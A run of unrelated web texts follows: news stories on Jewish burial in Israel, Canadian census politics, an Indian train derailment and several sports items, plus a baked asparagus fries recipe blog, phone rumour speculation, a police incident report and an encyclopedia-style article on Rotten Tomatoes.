In the Hebrew Bible, Genesis 47:28-30 reads:
And Jacob lived in the land of Egypt seventeen years; so the days of Jacob, the years of his life, were a hundred forty and seven years. And the time drew near that Israel [Jacob] must die; and he called his son Joseph, and said unto him: "If now I have found favour in thy sight, put, I pray thee, thy hand under my thigh, and deal kindly and truly with me; bury me not, I pray thee, in Egypt. But when I sleep with my fathers, thou shalt carry me out of Egypt, and bury me in their burying-place." And he said: "I will do as thou hast said."
Jacob would be buried in the Cave of the Patriarchs, known by Muslims as the Sanctuary of Abraham, in what’s now the West Bank city of Hebron.
Another incentive to be buried in Israel extends beyond the Bible - and beyond concerns, for some, about grave desecration. It’s rooted in the belief that when the Messiah comes, those buried in Jerusalem will be resurrected first.
Jews do believe that a figure will emerge to restore peace, save the righteous and judge those who've done wrong. But the Jewish concept of a Messiah is very different from Christianity's view. Christians believe the Messiah already came, in the divine form of Jesus Christ. Jews do not believe this. In fact, they don't believe that the Messiah will be divine - since God, from their perspective, cannot become human.
When the Messiah comes, Judaism teaches, he will shepherd in what's referred to as the "World to Come." There will be peace, no more evil and the reinstatement of the Temple in Jerusalem. And, apropos of this story, all Jews will return to Israel.
The significance of being buried in Israel is one Ginsberg both respects and anticipates for himself. He purchased his plot in Jerusalem years ago and says 60% of those he serves are being flown to Israel for burial.
That choice doesn’t come cheap.
When Ginsberg bought his plot in 2000, it cost him $4,500. But lack of land, demand and simple economics have changed things. The plot next to his, he says, recently sold for $25,000.
Granted, one can choose to be buried outside of Jerusalem at better rates. But once the cost for the flight over is factored in, the price is still steep.
For the majority of Jews outside Israel (and even within Israel) who are not ultra-religious, burial considerations are likely not driven by what Jacob said to Joseph or by thoughts of a potential Messiah. These motivations, in fact, are probably foreign to many of them.
Even so, for very observant Jews, and even for some others who are not Orthodox, the expense of an Israel burial – if they can afford it – may be worth it, says David Zinner, the executive director of K’vod v’Nichum, an organization that provides education and resources about traditional Jewish funerals and burials.
One page on the organization's website is dedicated to burial in Israel, offering tips, links to articles and cemetery options.
Yet Zinner, who works with Jews of all denominations, also points to passages in the Talmud where Rabban Gamliel, a first century authority, argued against expensive burials. Zinner says Gamliel feared high prices deterred people from upholding traditions. To this day, Jews are traditionally not buried in fancy caskets.
By extension, Zinner says, there are many who argue that splurging for a burial in Israel makes little sense.
“Money is to help the living, to give to charity,” Zinner says, summarizing that school of thought.
As for those who are buried outside of Israel, Ginsberg says, the resurrection, when it comes, will not be lost on them. The process will just be more arduous and definitely less comfortable.
Tunnels will be created underground leading to Israel, he says, “and their bones will roll into Israel.”
Those already buried there “will save themselves that pain.”WINDSOR, ONT.—Former prime minister Paul Martin is accusing the Conservative government of trying to “dumb down” the country by doing away with census information that has been vital to budget-making and Canada’s international reputation. “This country is not going to be dumbed down by a federal government that doesn’t care if in fact we make good policy based on good evidence,” Martin told a cheering Liberal crowd in his hometown of Windsor on Sunday. And Ontario’s Finance Minister, Dwight Duncan, says that the province intends to keep up the fight against the Harper’s government’s decision to do away with the mandatory long-form census. “This is not the way to run a democracy,” Martin told reporters on Sunday, when he and Duncan appeared at a rally in his hometown of Windsor with Liberal leader Michael Ignatieff. Martin says he sees the census decision as part of Stephen Harper’s larger attempt to clamp down on information and free discussion among Canadians.
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“I think it’s quite conceivable that what we’re dealing with is a government that essentially wants to control the information flow,” he said. Martin said that in all his years as finance minister, the long-form census data was crucial during his consultations with municipalities and a whole host of medical, hospital and non-governmental organizations. As well, he said that Canada’s ability to collect and make policy surrounding census data was an object of international admiration.
“It was my experience (at G7 and G20 finance ministers meetings) that Canada’s capacity to collect statistics, and our ability to make policy on those statistics, was admired around the world.” Martin said. “That we should essentially walk away from that, I think, has got to be causing consternation and real puzzlement elsewhere.” Martin also said it was a “tragedy” that the controversy provoked the resignation of Statistics Canada chief Munir Sheikh — with whom Martin worked extensively during his years as finance minister and prime minister. “I know Munir Sheikh very very well and that Munir Sheikh would have to resign on this particular issue is a tragedy,” Martin said. “And you’ve got to ask yourself, what kind of statistician is going to replace him, when every single statistician I know of renown says the long-form census is, without any shadow of a doubt, the best way of going.”
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Martin and Duncan linked up with Ignatieff on Sunday to give a boost to the Liberal leader’s summer-long tour of the country. Over the weekend, Ignatieff was speaking to crowds in London and in Windsor, and the tour included a stop at a local fair to watch a demolition derby. Ignatieff is pitching this tour as a stark contrast to Harper’s style of government, which he repeatedly casts as closed and secretive. Martin, who was unseated as prime minister by Harper in the 2005-06 election, also took a couple of shots on Sunday at his successor’s absence from this summer’s political debates, too. “If you believe in this country, you don’t stay in Ottawa, hidden away for the whole summer where nobody sees you. If you’re the prime minister of the country, you get out and see the people, like Michael Ignatieff has done,” Martin said.
Read more about:A great healthy alternative to french fries, Crispy Baked Parmesan Herb Crusted Asparagus with a light Lemon Herb Aioli for dipping!
Ok, do you ever just get in this annoyingly anal cleaning modes?
Where like everything you see is dirty and needs to be cleaned asap?
Well, that is me right now! I just hardcore wiped down my refrigerator.
Who know you could have so many expired condiments on a shelf?
Its actually quite telling of the things you use and the things you don’t use, and clearly I don’t use condiments very often. I usually just make them myself! After I “cleaning house” I put on my rubber gloves and me and Mr. Clean went to town.
My refrigerator is now sparkling. Clean, white again… it just makes me smile every time I open it. In fact I have contemplated just sitting on the floor with the frig open just admiring how beautiful it is now. Is that weird?
But I couldn’t stop there… Oh no way!
Pantry was next on the list and boy was it a beast to defeat!
Why do I buy so many boxes of a noodles? I had like 3 boxes that were half full.. and then half a bag of polenta {which of course was open and sprayed all over me and the floor when I picked it up}.
The baking section was a whole another mess area, I rarely use the baking stuff {unless its for Chocolate Chip Cookies} so sadly I have stuff that was from …. 2011!!!! {gasp.. I know.. its bad}
When I had finally finished wiping everything down, organizing things into cute little baskets and such it was like looking into a brand new {empty} pantry! It was divine. No clutter. No mess. Just clean! {sigh} 🙂
Next on the list for this week is the spice cabinet. Does anyone know how long you can/should keep dried herbs? How do you organize your spice and vinegar cabinet? I’m in need of some inspiration! 🙂
While you are inspiring me on how to organize my spice cabinet, how about I inspire you with a new look on the french fry! I am a huge fan of asparagus and so is everyone else in my family, in fact its probably one of Cason’s favorite vegetables besides beets!
With all this burger action I’ve had going on lately, you need to have a side of fries to go with it. So I thought, why not turn our favorite vegetable into a fry? Genius!
Just dunk the asparagus in egg whites and then a Panko Parmesean Cheese Herb mixture, bake it and voila! Baked Asparagus Fries! But of course, we can’t stop there. You need a sauce! So I whipped up a quick Lemon Herb Aioli from the herbs in my garden. This aioli goes perfect with the Asparagus Fries, it is light and refreshing and definitely doesn’t overpower the tasty asparagus which is what you want.
So the next time you are wanting to have a side of fries for dinner, rethink the “fried” and go “baked” with some of these bad boys. Everyone will be so impressed! 🙂
Baked Asparagus Fries with Lemon Herb Aioli ★ ★ ★ ★ ★ 5 from 2 reviews Author: Krista
Prep Time: Prep Time: 10 mins
Cook Time: Cook Time: 20 mins
Total Time: Total Time: 30 mins
Yield: Yield: 4-6
Category: Category: Side Dishes, Condiments & Sauce, Vegetarian Print Pin Ingredients Asparagus Fries: 2 lb.s of asparagus spears
1 cup of panko
1/3 cup of parmesan
1/2 teaspoon of dry basil
3 egg whites, beaten Lemon Herb Aioli 2 tablespoons of your favorite fresh herbs {thyme, basil, rosemary}
juice of 1 lemon
1/2 cup of mayo
1/8 teaspoon of garlic powder Instructions Preheat oven to 400. In a small bowl mix panko, parmesan, and dry basil. In another small bowl, lightly beat egg whites. Dunk the Asparagus spears in beaten eggs white first then in the panko mixture. Place on baking sheet and bake for 20 minutes. In the meantime, in a small bowl mix, fresh herbs, lemon juice, garlic powder, and mayo. Set aside. Remove asparagus fries from the oven and serve with the aioli.
Don’t Miss a Recipe ->A couple of days back we reported exclusively that Samsung is going to announce the Galaxy Note 5 on August 12 instead of waiting till IFA 2015 in September, with the handset’s launch not that far off we’ve already seen it stop by the FCC and several case manufacturers have already revealed what they have in store for this device. Today a Galaxy Note 5 case from Ringke has caught our eye which raises a very important question about the S Pen.
The S Pen has always been a staple on the Galaxy Note lineup and Samsung is sticking with it this time around as well however it appears to have changed the way it’s ejected. Previously you would just push it out using your nail but in all renders of the device we have seen so far the S Pen appears to sit flushed with the frame thus making it impossible to eject it using that method. Is Samsung going with a push-to-release mechanism for the Galaxy Note 5 or will the S Pen be able to auto-eject? Lets not forget that Samsung does have a patent on auto-eject technology for the S Pen which would not only make things easier but would look certainly look cool.
I have my money on the auto-eject feature, to me there doesn’t appear to be much give for a push-to-release mechanism, but then again I could be wrong. You tell us though, what do you think Samsung is going to opt for?The Fury FC announced the signing of its 7th and final international player yesterday, with the addition of CB Colin Falvey.
Falvey has served as captain of Charleston Battery in USL Pro, in the 3rd tier of the North American footy pyramid, and was named the USL Pro Defender of the Year in 2013, which led to him being linked with numerous MLS and NASL clubs throughout 2014.
He continues the well-traveled path from Charleston to Ottawa over the past year, with Tom Heinemann, Nicki Paterson, Tony Donatelli, P.R. Mayard, Ryan Richter and O’Brian Woodbine also having played with the Battery in previous seasons before joining the Fury.
The Irish centreback has also played recently on loan with Kerala Blasters in the top-flight league in India, playing alongside Iain Hume, a Canadian international.
Standing at 6’1”, the player has developed quite a following at Charleston, even having the hashtag #FalveysArmy attached to him, and his player profile seems to be that of an aggressive defender with a no-holds-barred approach, similarly the most to Omar Jarun.
The depth at centrebacks for the Fury has never been deeper, with 4 very strong CBs jockeying for positions, including Falvey, fellow new signing Rafael Alves, and 2014 starters Mason Trafford and vice-captain Omar Jarun, while Drew Beckie is almost certainly pushed to RB at this point.
Strong teams build with a strong backline. With the expected addition of LB Brandon Poltronieri, the Fury FC will enter the 2015 season with 8 defenders who will all boast significant footy experience in Canada and US.Commotion at Jeremy Corbyn’s Federation of Small Businesses presser just now when questions to the Labour leader on Syria were dramatically shouted down by some of those present. BBC journalist Mark Lobel wanted to ask the leader of the opposition about the top international story of the day but was obstructed, apparently contrary to the advice of Corbyn’s press team.
Audience members at FSB conference also started shouting “no” at BBC journalist who attempted to ask about Syria. He was also putting biz Q — Kate McCann (@KateEMcCann) 11 April 2017
Journalists were told before that there could be only one question on each topic. BBC claimed Syria. Corbyn wouldn’t answer it. — Adam Bienkov (@AdamBienkov) 11 April 2017
Bizarrely, Corbyn departed the podium to remonstrate with Lobel. Looks like questions on other topics weren’t getting anywhere either:
“Thank you very much, very helpful,” Corbyn tells colleague @benglaze for asking about dire polls. Erm… asking helpful Qs isn’t our job — Dan Bloom (@danbloom1) 11 April 2017
It’s understood Corbyn did do interviews about Syria once he was off the platform.
Taking one question about a major news story does not preclude other questions on business policy – that’s not how it works…Media playback is not supported on this device England coach Eddie Jones says'six and a half position' popular
England head coach Eddie Jones says Northampton's Teimana Harrison is the favourite to fill the troublesome open-side flanker spot against South Africa.
England have been hit by injuries in the back row, with James Haskell, Sam Jones and Mike Williams all ruled out, along with the versatile Maro Itoje.
Harrison, 24, lasted just half an hour in England's last Test match against Australia in Sydney.
"He's gone back and worked on his game very hard," Jones told BBC Sport.
"His last game against Castres was exceptional and he's probably our number one choice open-side flanker at the moment."
Teimana Harrison (left, with captain Dylan Hartley) lasted 31 minutes during England's first Test win over Australia in June
Meanwhile, Jones says the recalled flanker Tom Wood has a "great chance" of being selected this autumn.
Wood was dropped following the Rugby World Cup, with Jones telling him his performances |
Prithvi Shaw's 105, his second successive hundred and fourth in five first-class games, helped Mumbai begin strongly against Odisha before three quick wickets in the final session reduced them to 264 for 6 in Bhubaneshwar. Put into bat, Mumbai lost Akhil Herwadkar in the sixth over after he was bowled by seamer Basant Mohanty. However, Shaw steadied things in the company of Ajinkya Rahane (49, 8x4), who is playing his first game of the season.
During the course of their 136-run alliance, Shaw completed his hundred before he was trapped lbw by Mohanty; his 153-ball knock included 18 hits to the fence. Soon after, seamer Suryakant Pradhan dismissed Rahane, but Mumbai avoided further loss before tea, going into the break on 181 for 3. Just when a partnership appeared to blossom between vice-captain Suryakumar Yadav (23) and Siddhesh Lad (33), Biplab Samantray removed both batsmen in the space of six overs to leave Mumbai on 231 for 5. Mumbai suffered another jolt in the 81st over, when left-arm spinner Dhiraj Singh removed Abhishek Nayar. But captain Aditya Tare (28*) and Akash Parkar saw out the remaining overs.
Nineteen-year old left-arm seamer Prithvi Raj Yarra's three-wicket haul was central to Andhra restricting Madhya Pradesh to 219 for 5 on the opening day in Vizianagaram. Having opted to field, Andhra struck in the 16th over when Yarra, playing his second first-class game, had Aditya Shrivastava caught behind. Opener Rajat Patidar and Shubham Sharma (60, 8x4) then added 68 runs before Yarra removed Patidar. Left-arm spinner Bhargav Bhatt then sent back Shubham, who had added 39 for the third wicket with Naman Ojha. Shubham's dismissal triggered a mini-collapse, as Madhya Pradesh slipped from 136 for 2 to 171 for 5. Harpreet Singh Bhatia, however, stemmed the bleeding with an unbeaten 47 and raised an unbroken sixth-wicket stand of 48 with Ankit Sharma (18).
Vishnu Solanki's maiden first-class ton (116, 11x4, 1x6) powered Baroda to 304 for 5 on the opening day against Tripura at the Reliance Stadium in Vadodara. After electing to bat, Baroda began with a 41-run opening stand between Kedar Devdhar and Aditya Waghmode, before slipping to 95 for 3. Batting at No.3, Solanki, who scored two half-centuries against Andhra in the previous game, soldiered on. He first added 50 runs with Swapnil Singh before raising a 154-run stand for the fifth wicket with Abhijit Karambelkar, who remained unbeaten on 75. Tripura, however, tilted the balance slightly by removing Solanki with less than two overs remaining for close of play.On 6/10/17 1132 hours, Harrisburg Police were assisting with the Act For America Rally on the Capital steps of N 3rd & State Streets. During this Rally part of the protestors moved from the capital steps north bound on N 3rd Street throughout the midtown area. Multiple mounted PSP Troopers and Harrisburg Police were assisting with moving a large crowd from blocking the 1200 BLK of N 6th Street towards the sidewalk.
A PSP Corporal and his partner, horse Sampson, were attempting to move the crowd when the defendant, Lisa Simon, used a flag pole with a silver nail at the top of the pole to strike horse Sampson in the side of the neck. Simon did this while obstructing the troopers from performing their duties to move the crowd onto the sidewalk.
Simon resisted Harrisburg Police officers from effecting a lawful arrest. Both the PSP Corporal and horse Sampson were able to continue working with minimal injury.
A warrant is being requested for the following charges: Aggravated Assault to Police, Taunting Police Animals, Prohibited Offensive Weapons, Obstruction to Law Enforcement Function, Resisting Arrest, and Disorderly ConductTHE death toll after fourteen carriages of a passenger train have rolled off the track continues to rise, with at least 91 people now dead, and more than 150 injured in northern India.
Volunteers and railway police pulled out the bodies from the mangled coaches and were working to rescue passengers who were trapped in other cars that fell on the side as ‘the entire train turned turtle’, said Daljeet Chaudhary, a director general of police, at the site of the accident.
The derailment occurred around 3am local time on Sunday near Purwa, a village near the industrial city of Kanpur, when the 14 coaches jumped the track.
Given the early hour, most of the passengers would have been asleep as the carnage unfolded.
Some coaches crumpled as they crashed into others, trapping hundreds of people inside.
Medical teams were providing first aid near the site while the more seriously injured have been moved to hospitals in Kanpur, Chaudhary said.
It was not immediately clear was caused the coaches to derail.
The toll is likely to go up as two air-conditioned coaches were severely damaged and people were still trapped inside, said Rajesh Modak of the Railway Protection Force.
TV footage showed rescue workers trying to cut through severely mangled coaches with suitcases and other luggage strewn around.
Witnesses spoke of being woken up by a huge bang and being thrown around. “We woke up to a great thud this morning. It was pitch dark and the noise was deafening,” a passenger told reporters as he waited with his family at the accident site.
Kanpur is a major railway junction and hundreds of trains pass through it every day. Several trains using the line have been diverted to other routes, Anil Saxena, spokesman for Indian Railways, said in New Delhi.
Train accidents are common in India, with most accidents occurring due to human error or ageing equipment. Trains are the popular mode of transport for millions of Indians and around 23 million passengers use India’s vast railway network every day.
India’s Prime Minister Narendra Modi tweeted that he was “anguished beyond words” by the loss of life.
Modi’s government has pledged to invest $137 billion over five years to modernise its crumbling railways, making them safer, faster and more efficient.
In 2014, an express train ploughed into a stationary freight train, also in Uttar Pradesh, killing 26 people.The NFL security guard caught masturbating near a group of cheerleaders has been fired.
US media reports that the man was working at Sunday’s clash between the San Diego Chargers and the Oakland Raiders at Qualcomm Stadium in front of more than 68,000 spectators.
A video of the incident shows the security guard reportedly pleasuring himself while frequently glancing over at the cheerleaders who are just metres away.
Although, what the man was doing wasn’t immediately clear because he was seen with his hand in his pocket making repeated motions while not actually exposing himself.
However both clubs had deemed the security guard’s actions as inappropriate.
San Diego Police are now investigating the incident and Elite Security has since apologised claiming it has “acted swiftly to terminate the employee involved”.
The original video, which was posted to Facebook, has since been deleted.
The woman who allegedly recorded the clip, said the incident took place before the game started and that the guard attempted to do so again during halftime, before a fan yelled at him to “take your hands out of your pants”.
She also said she had tried to contact Elite Security to inform them of the incident, but they didn’t respond until a day later.
“The Chargers, Elite Security as well as the San Diego Police Department are aware of the disturbing actions of an Elite Security staff member at Sunday’s game,” a statement from the Chargers’ read.
“We apologise to any fans who may have witnessed the incident.”
The security guard cannot be identified because of privacy laws, however Elite Security told the New York Post that he had passed state and federal background checks prior to employment.Theo Walcott admits he’s waiting for the day that he is paired in attack with Robin van Persie, but accepts that it would be wrong to experiment at the current time given the club’s solid form.
The England international has repeatedly spoken about his desire to play as a central striker, but despite being pencilled in as a possible heir to childhood hero Thierry Henry he has rarely been handed the responsibility.
Assisting Van Persie from his position on the wing, Walcott also spoke of his flourishing on pitch relationship with the Dutchman making clear that regular playing time has made all the difference.
“We’ve never really had a proper run together before now,” he told the Arsenal official matchday programme ahead of yesterday’s draw with Fulham.
“we’ve both been very unlucky with injuries. We’ve always had that chemistry in training and now we’re bringing it into the games. We seem to know where each other is and it comes naturally to us.
“One day I’d like to play up front with him, but at the moment I can’t see any reason to change a thing.”
Paying homage to Van Persie’s fine scoring run in 2011, Walcott continued:
“He’s just in the right places, but it’s his movement as well – if he didn’t have that, pulling off defenders like he did against Dortmund, he wouldn’t be scoring as many.
“Many strikers wouldn’t expect the ball to drop there – but it just comes naturally to Robin.
“I can put the ball into space and I know he’ll arrive, sometimes I don’t even have to look.
“It’s all about gambling, and Robin does that well – look at our first goal against Norwich, when Gervinho just missed the ball but Robin was there, on his toes, expecting the ball.”
Obviously inspired by the 28-year-old Dutch forward, Walcott also touched on Van Persie’s all-round contribution to the team.
“He’s an absolute dream to play with – there’s not one striker in the world better than him. And it’s not just the goals, it’s everything else he brings to the team.
“He likes to get other players involved and is a very good captain on top of that. When you’re enjoying your football as much as he is, everything seems to flow for you.”When injuries hit, Orlando City needed someone to play out of position.
Will Johnson was the guy.
Kaká left the season opener due to a pulled hamstring 11 minutes into the match, and Orlando City needed a captain.
Johnson was that guy, too.
Tuesday will be Johnson’s three-month anniversary as a Lion, but time rarely is the best measure of leadership. He quickly has become a voice for the club, an example to follow and a natural captain on the pitch.
“I don’t care that much for pleasantries, in terms of coming in and trying to be everybody’s best friend,” Johnson said. “This is a business. We’ve got to win. I’ve had a lot of success in this league in winning, so guys respect that and understand that I’m here to help. I’m here to lead.”
That success includes being a two-time MLS Cup winner and part of Toronto’s runner-up squad last year before exploring free agency. Orlando City signed Johnson, 30, to a two-year deal with an option for a third on Dec. 28.
His philosophy on leading is listening. More than once, he’s mentioned the importance of asking teammates, “What went wrong last year? What could have been done better?”
Johnson likes the responsibility, which is why he didn’t flinch when head coach Jason Kreis asked him to move from the central midfield to right back a week before the season opened.
“Jason knows I’m up for the challenge,” he said.
And when he led the team out of the tunnel as captain in the second home match against Philadelphia, he said it was a “huge, proud moment.”
“I’ve had the opportunity a few times in my past to lead different teams out, and you never take it for granted,” Johnson said.
“It’s a huge honor. You take that responsibility and understand you’re leading a group of guys out into an arena with 25,000 fans, all coming there and spending their hard-earned money to watch you play. So, you just try to make sure everybody's motivated and everybody gives as much as possible to the cause. No fan ever walks away angry with the players if they gave their absolute best.”
Johnson is something of a MLS vagabond, traveling from one club to the next. But his work ethic, tactical ability and versatility means he always has a home — even after two broken legs.
He spent a year with the following teams: Chicago Fire; SC Heerenveen in the Netherlands; loaned to De Graafschap; and his hometown team, Toronto FC, last season.
Before Toronto, he spent three seasons in Portland, but his longest stop was with Kreis-coached Real Salt Lake from 2008-12.
So it makes sense that Johnson and Kreis have many similarities.
When Kreis first came to Orlando last summer, soccer analyst Brian Dunseth, who played with and against Kreis in MLS, told the Orlando Sentinel he was a "real salt-of-the earth guy.”
That seems a fitting description of Johnson, too.
Similar to his coach, Johnson responds to questions in a carefully-worded, thoughtful way. He acknowledges progress and offers praise when due, but also is quick to point out flaws in even the best performances.
After back-to-back wins at home, Johnson reflected on the beginning of the season by saying, “I don’t want to pretend that everything's been great. I still think we’re very much a work in progress.
“We’re getting there.”
He's happy with the team’s fight and willingness to defend, but the quality and decision-making needs to be better, he said.
“For the most part, where we are is kind of where I thought,” he said. “To learn and establish who we want to be while we’re winning games, that’s very important.”
There’s an intensity behind each calm, calculated word that hints at the player whose face turned red when a training scrimmage wasn’t going well as he shouted at the top of his lungs, “Can we play now?!”
“A lot of it has to do with Will’s mentality,” Kreis said. “He’s a born competitor. He comes out every single day here and gives absolutely everything he can.
“He kind of has all the qualities you’re looking for in a leader and someone who could and should wear the captain’s band.”
With right back Scott Sutter coming in from Switzerland and other defenders inching along in their recoveries, it’s likely Johnson will soon shift back to the midfield, where he played box-to-box throughout the preseason.
But, whether he’s on the back line, in the midfield or on the sideline, Johnson’s significance won’t change.
ardelgallo@orlandosentinel.comAmerican review aggregator for film and television, owned by Fandango
Rotten Tomatoes is an American review-aggregation website for film and television. The company was launched in August 1998 by three undergraduate students at the University of California, Berkeley: Senh Duong, Patrick Y. Lee, and Stephen Wang.[4][5][6][7] The name "Rotten Tomatoes" derives from the practice of audiences throwing rotten tomatoes when disapproving of a poor stage performance.
Since January 2010, Rotten Tomatoes has been owned by Flixster, which was in turn acquired by Warner Bros. in 2011. In February 2016, Rotten Tomatoes and its parent site Flixster were sold to Comcast's Fandango.[8] Warner Bros. retained a minority stake in the merged entities, including Fandango.[2]
History [ edit ]
Rotten Tomatoes was launched on August 12, 1998, as a spare-time project by Senh Duong.[9] His goal in creating Rotten Tomatoes was "to create a site where people can get access to reviews from a variety of critics in the U.S."[10] As a fan of Jackie Chan, Duong was inspired to create the website after collecting all the reviews of Chan's Hong Kong action movies as they were being released in the United States. The primary catalyst for the creation of the website was Rush Hour (1998), Chan's first major Hollywood crossover, which was originally planned to release in August 1998. Duong coded the website in two weeks and the site went live the same month, but Rush Hour itself ended up being pushed back to September 1998. Besides Jackie Chan films, he began including other films on Rotten Tomatoes, extending it beyond Chan's fandom.[11][12] The first non-Chan Hollywood movie whose reviews were featured on Rotten Tomatoes was Your Friends & Neighbors (1998). The website was an immediate success, receiving mentions by Netscape, Yahoo!, and USA Today within the first week of its launch; it attracted "600–1000 daily unique visitors" as a result.[citation needed]
Duong teamed up with University of California, Berkeley classmates Patrick Y. Lee and Stephen Wang, his former partners at the Berkeley, California-based web design firm Design Reactor, to pursue Rotten Tomatoes on a full-time basis. They officially launched it on April 1, 2000.[13]
In June 2004, IGN Entertainment acquired Rotten Tomatoes for an undisclosed sum.[14] In September 2005, IGN was bought by News Corp's Fox Interactive Media.[15] In January 2010, IGN sold the website to Flixster.[16] The combined reach of both companies is 30 million unique visitors a month across all different platforms, according to the companies.[17] In 2011, Warner Bros. acquired Rotten Tomatoes.[18] In February 2016, Flixster, including Rotten Tomatoes, was acquired by Fandango, a company of which Warner Bros. has a minority share.[19]
In early 2009, Current Television launched the televised version of the web review site, The Rotten Tomatoes Show. It was hosted by Brett Erlich and Ellen Fox and written by Mark Ganek. The show aired every Thursday at 10:30 EST on the Current TV network.[20] The last episode aired on September 16, 2010. It returned as a much shorter segment of InfoMania, a satirical news show that ended in 2011.[citation needed]
By late 2009, the website was designed to enable Rotten Tomatoes users to create and join groups to discuss various aspects of film. One group, "The Golden Oyster Awards", accepted votes of members for various awards, spoofing the better-known Academy Awards or Golden Globes. When Flixster bought the company, they disbanded the groups, announcing: "The Groups area has been discontinued to pave the way for new community features coming soon. In the meantime, please use the Forums to continue your conversations about your favorite movie topics".[citation needed]
As of February 2011, new community features have been added and others removed. For example, users can no longer sort films by Fresh Ratings from Rotten Ratings, and vice versa.[citation needed]
On September 17, 2013, a section devoted to scripted television series, called "TV Zone", was created as a subsection of the website.[21]
In February 2016, Rotten Tomatoes and its parent site Flixster were sold to Comcast's Fandango. Warner Bros retained a minority stake in the merged entities, including Fandango.[2]
In July 2017, the website's editor-in-chief since 2007, Matt Atchity, left to join The Young Turks.[22] On November 1, 2017, the site launched a new web series on Facebook, See It/Skip It, hosted by Jacqueline Coley and Segun Oduolowu.[23]
In March 2018, the site announced its new design, icons and logo for the first time in 19 years at SXSW.[24]
Traffic [ edit ]
Rotten Tomatoes is a top 1000 site, placing around #400 globally and top 150 for the US only, according to website ranker Alexa.[25] Monthly unique visitors to the rottentomatoes.com domain is 26M global (14.4M US) according to audience measurement service Quantcast.[26]
Features [ edit ]
Critic aggregate score [ edit ]
Rotten Tomatoes staff first collect online reviews from writers who are certified members of various writing guilds or film critic-associations. To be accepted as a critic on the website, a critic's original reviews must garner a specific number of "likes" from users. Those classified as "Top Critics" generally write for major newspapers. The critics upload their reviews to the movie page on the website, and need to mark their review "fresh" if it's generally favorable or "rotten" otherwise. It is necessary for the critic to do so as some reviews are qualitative and do not grant a numeric score, making it impossible for the system to be automatic.[citation needed]
The website keeps track of all of the reviews counted for each film and the percentage of positive reviews is calculated. Major, recently released films can attract up to 300 reviews. If the positive reviews make up 60% or more, the film is considered "fresh", in that a supermajority of the reviewers approve of the film. If the positive reviews are less than 60%, the film is considered "rotten". An average score on a 0 to 10 scale is also calculated. With each review, a short excerpt of the review is quoted that also serves a hyperlink to the complete review essay for anyone interested to read the critic's full thoughts on the subject.
"Top Critics", such as Roger Ebert, Desson Thomson, Stephen Hunter, Owen Gleiberman, Lisa Schwarzbaum, Peter Travers and Michael Phillips are identified in a sub-listing that calculates their reviews separately. Their opinions are also included in the general rating. When there are sufficient reviews, the staff creates and posts a consensus statement to express the general reasons for the collective opinion of the film.[citation needed]
This rating is indicated by an equivalent icon at the film listing, to give the reader a one-glance look at the general critical opinion about the work. The "Certified Fresh" seal is reserved for movies that satisfy two criteria: a "Tomatometer" of 75% or better and at least 40 reviews (for limited release movies, otherwise 80) from "Tomatometer" critics (including 5 Top Critics). Films earning this status will keep it unless the positive critical percentage drops below 70%.[27] Films with 100% positive ratings but fewer than required reviews may not receive the "Certified Fresh" seal.
Icon Score Description 70–100% Certified Fresh. Wide-release films with a score of 75% or higher that are reviewed by at least 80 critics, of which 5 are "Top Critics", are given this seal. The "Certified Fresh" seal remains until the score drops below 70%.[27] Films with limited releases require only 40 reviews (including 5 from "Top Critics") to qualify for this seal.[27] 60–100% Fresh. Films with a score of 60% or higher that do not meet the requirements for the "Certified Fresh" seal. 0–59% Rotten. Films with a score of 0–59% receive this seal.
Golden Tomato Awards [ edit ]
In the year 2000, Rotten Tomatoes announced the RT Awards honoring the best-reviewed films of the year according to the website's rating system.[28] This was later renamed the Golden Tomato Awards.[29] The nominees and winners are announced on the website, although there is no actual awards ceremony.
The films are divided into wide release and limited release categories. Limited releases are defined as opening in 599 or fewer theaters at initial release. Platform releases, movies initially released under 600 theaters but later receiving wider distribution, fall under this definition. Any film opening in more than 600 theaters is considered wide release.[29] There are also two categories purely for British and Australian films. The "User"-category represents the highest rated film among users, and the "Mouldy"-award represents the worst-reviewed films of the year. A movie must have 40 (originally 20) or more rated reviews to be considered for domestic categories. It must have 500 or more user ratings to be considered for the "User"-category.
Films are further classified based on film genre. Each movie is eligible in only one genre, aside from non-English language films, which can be included in both their genre and the respective "Foreign" category.
Once a film is considered eligible, its "votes" are counted. Each critic from the website's list gets one vote (as determined by their review), all weighted equally. Because reviews are continually added, manually and otherwise, a cutoff date at which new reviews are not counted toward the Golden Tomato awards is initiated each year, usually the first of the new year. Reviews without ratings are not counted toward the results of the Golden Tomato Awards.[29]
Critics consensus [ edit ]
Each movie features a brief summary of the reviews used in that entry's Tomatometer aggregate score. These are written by Jeff Giles, a longtime author for the site.[30]
Audience score and reviews [ edit ]
Positive and negative audience score icons
Each movie features a "user average", which calculates the percentage of registered users who have rated the film positively on a 10-star scale, similar to calculation of recognized critics' reviews.
Localized versions [ edit ]
Localized versions of the site available in the United Kingdom, India, and Australia were discontinued following the acquisition of Rotten Tomatoes by Fandango. The Mexican version of the site (Tomatazos) remains active.
API [ edit ]
The Rotten Tomatoes API provides limited access to critic and audience ratings and reviews, allowing developers to incorporate Rotten Tomatoes data on other websites. The free service is intended for use in the US only; permission is required for use elsewhere.[31]
Influence [ edit ]
Major Hollywood studios have come to see Rotten Tomatoes as a threat to their marketing. In 2017 several blockbuster films like Pirates of the Caribbean: Dead Men Tell No Tales, Baywatch and The Mummy were projected to open with gross receipts of $90 million, $50 million and $45 million respectively, but ended up debuting with $62.6 million, $23.1 million and $31.6 million. Rotten Tomatoes, which gave the films low scores of 30%, 19% and 16%, was blamed for undermining them. That same summer, films like Wonder Woman and Spider-Man: Homecoming (both 92%) received high scores and opened on par or exceeded expectations with their $100+ million trackings.[32][33][34]
As result of this concern, 20th Century Fox commissioned a 2015 study, titled "Rotten Tomatoes and Box Office", that stated the website combined with social media was going to be an increasingly serious complication for the film business: "The power of Rotten Tomatoes and fast-breaking word of mouth will only get stronger. Many Millennials and even Gen X-ers now vet every purchase through the Internet, whether it's restaurants, video games, make-up, consumer electronics or movies. As they get older and comprise an even larger share of total moviegoers, this behavior is unlikely to change".[35] Other studios have commissioned a number of studies on the subject, with them finding that seven out of 10 people said they would be less interested in seeing a film if the Rotten Tomatoes score was 0-25, and that the site has the most influence on people 25 and younger.[34]
The scores have reached a level of online ubiquity which film companies have found threatening. For instance, the scores are regularly posted in Google search results for films so reviewed. Furthermore, the scores are prominently featured in Fandango's popular ticket purchasing website and its mobile app, Flixster, which led to complaints that "rotten" scores damaged films' performances.[36]
